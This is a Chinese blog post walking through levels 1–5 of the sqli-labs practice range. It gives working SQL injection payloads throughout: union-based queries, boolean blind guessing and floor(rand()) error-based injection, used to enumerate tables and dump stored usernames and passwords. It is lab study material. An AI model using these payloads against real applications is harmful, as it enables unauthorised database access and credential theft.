sqli-labs-master(Less1--Less5)

Sql-labs-master通关攻略_sqli-labs-master 全部通关-CSDN博客

sqli-labs-master靶场搭建,1-10关详解-CSDN博客

小白勇闯sqli-labs-master1-22关_sqlilabs第22关-CSDN博客

搭建靶场

靶场:

GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

下载压缩包,将压缩包解压到小皮的根目录www下

并用小皮打开网站

Less1

打开环境

判断是否存在注入,注入是字符型还是数字型

?id=1

判断是否由字符注入,输入单引号,双引号进行测试

?id=1' --+

判断存在单引号的注入问题,接下来order by猜解字段

地址栏依次输入

?id=1' order by 1--+

?id=1' order by 2--+

?id=1' order by 3--+

?id=1' order by 4--+

到4的时候才发生报错,说明一共有三个字段

判断显示字段

?id=-1' union select 1,2,3--+

判断版本

?id=-1' union select 1,database(),version()--+

显示表名

?id=-1' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema=database()--+

显示user表下的字段名

?id=-1' union select 1,group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='users'--+

Less2

显错注入_数字型不闭合

please input the id as parameter with numeric value,请输入ID作为参数和数值.

判断是否存在注入,注入是字符型还是数字型

?id=1

?id=2

可以看到名字与密码的参数都发生了变化,也就是这两个地方的值是要与数据库进行交互的,那么这两个地方也有可能会是我们将来注入时回显内容的地方。

猜解 SQL 查询语句中的字段数 order by N

地址栏依次输入:

?id=1 order by 1

?id=1 order by 2

?id=1 order by 3

?id=1 order by 4

判断回显位置

?id=111 union select 1,2,3--+

可以看到Login name与Password这两个地方可以去显示我们要查询的内容,现在开始先查询数据库

获取当前数据库

?id=111 union select 1,2,database()--+

数据库为security,下一步就是要去查找这个数据库下面的所有表。MYSQL数据库的所有表的信息都存储在了information_schema数据库里面的tables这个表里(information_schema.tables中两列table_schema是数据库名,table_name中表名。)

获取数据库中的表

?id=111 union select 1,table_name,database()from information_schema.tables where
table_schema = database() --+

?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

group_concat(table_name)就是把多行的table_name在一行里面显示

from information_schema.tables即table_name的内容在这个数据库里的tables表里查询,并且有个条件是table_name这个表所属的数据库是security

获取表中的字段名

information_schema.columns表中三列table_schema是数据库名,
table_name中表名,column_name是列名。

?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

账号密码存储在sercurity数据库里面的users表里面的username与password字段里面,现在对账号与密码进行查询

?id=-2 union select 1,2,group_concat(username,'-',password) from security.users

SQL注入之Sqli-labs第二关_sqllabs第二关-CSDN博客

 Less3

判断页面是否存在回显

正常的参数显示正常:

?id=1

输入错误的参数

?id=1'

存在回显:''1'') LIMIT 0,1'。去掉外面的单引号得到:'1'') LIMIT 0,1。由此可判断闭合为:')

构造bool语句判断是否存在sql注入

?id=1') and 1=1 --+

正确显示

?id=1') and 1=2 --+

错误显示

判断可知,存在sql注入

开始注入

1.使用order by确定字段数

?id=1') order by 3 --+

?id=1') order by 4 --+

输入3显示正常,输入4报错,则判断数据库中的字段数为3

2.使用union进行注入

判断回显的位置:  (union查询前面的参数必须错误)

?id=-1') union select 1,2,3 --+

通过回显的位置构造语句查询数据库版本与名称:

?id=-1') union select 1,version(),database() --+

构造语句爆出表名:

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

造语句爆出字段名:

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

爆出敏感信息:  (只需要爆出用户名和密码即可)

?id=-1') union select 1,(select group_concat(username,0x3a,password) from security.users),database() --+

SQL注入sqli-labs第三关(less-3)-CSDN博客

Less4

判断注入类型

?id=1") and 1 -- a

页面正常显示

?id=1") and 0 -- a

页面显示为空,异常

由报错信息可知注入类型为双引号字符型。闭合方式是)

判断字段数

地址栏依次输入:

?id=1") order by 1 -- a

?id=1") order by 2 -- a

?id=1") order by 3 -- a

?id=1") order by 4 -- a

第4个字段排序时报错,确定返回结果的字段数为 3

判断显示位

?id=-1") union select 1,2,3 -- a

脱库

?id=-1") union select 1,(
    select group_concat(schema_name)
    from information_schema.schemata
),3 -- a

获取 security 库的所有表

?id=-1") union select 1,(select group_concat(table_name)from information_schema.tableswhere table_schema = 'security'),3 -- a

报错了,目前还不能理解并解决报错信息

SQLi LABS Less-4 联合注入+报错注入_sql-liab less4-CSDN博客

换一种方法进行尝试

爆出所有库

?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

爆出指定数据库(security)中的所有表

?id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

爆指定表(users)的所有列

?id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

爆指定列(id)的所有数据

?id=-1") union select 1,(select group_concat(id) from users),3--+

sqli-labs less4_输入单引号网页报错-CSDN博客

Less5

判断注入类型

?id=1

?id=1'

根据返回的语法错误可以判断是字符型

判断数据库长度

依次进行尝试

?id=1' and length(database())= 7 --+

?id=1' and length(database())= 8 --+

?id=1' and length(database())= 9 --+

数据库名称由8位构成

猜测数据库名称

(从第一位开始猜)

?id=1' and left(database(),1)>'a' --+

?id=1' and left(database(),1)>'a' --+

说明第一位在a和z之间

同理,不断缩小范围进行尝试,可以得知,第一位是 s

猜第二位数

?id=1' and left(database(),2)>'sa' --+

?id=1' and left(database(),2)>'sz' --+

以此类推,直到推出第8位:最后数据库为security

具体解法链接如下,但我并没有做出来

sqli-labs-master第五关Less-5 Double Query- Single:方式一-CSDN博客

换一种方法进行尝试

爆库

?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+


 

?id=1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by a%23

爆库

 ?id=1'union select null,count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a --+

爆表名

?id=1'union select null,count(*),concat((select table_name from information_schema.schemata where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+

报错:子查询返回多余一行

用 limit函数,改limit值,依次查列名

?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

查字段名

?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --+

sqli-labs(5)_sqli-labs-maste下面有多少个数据库-CSDN博客

  • 29
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值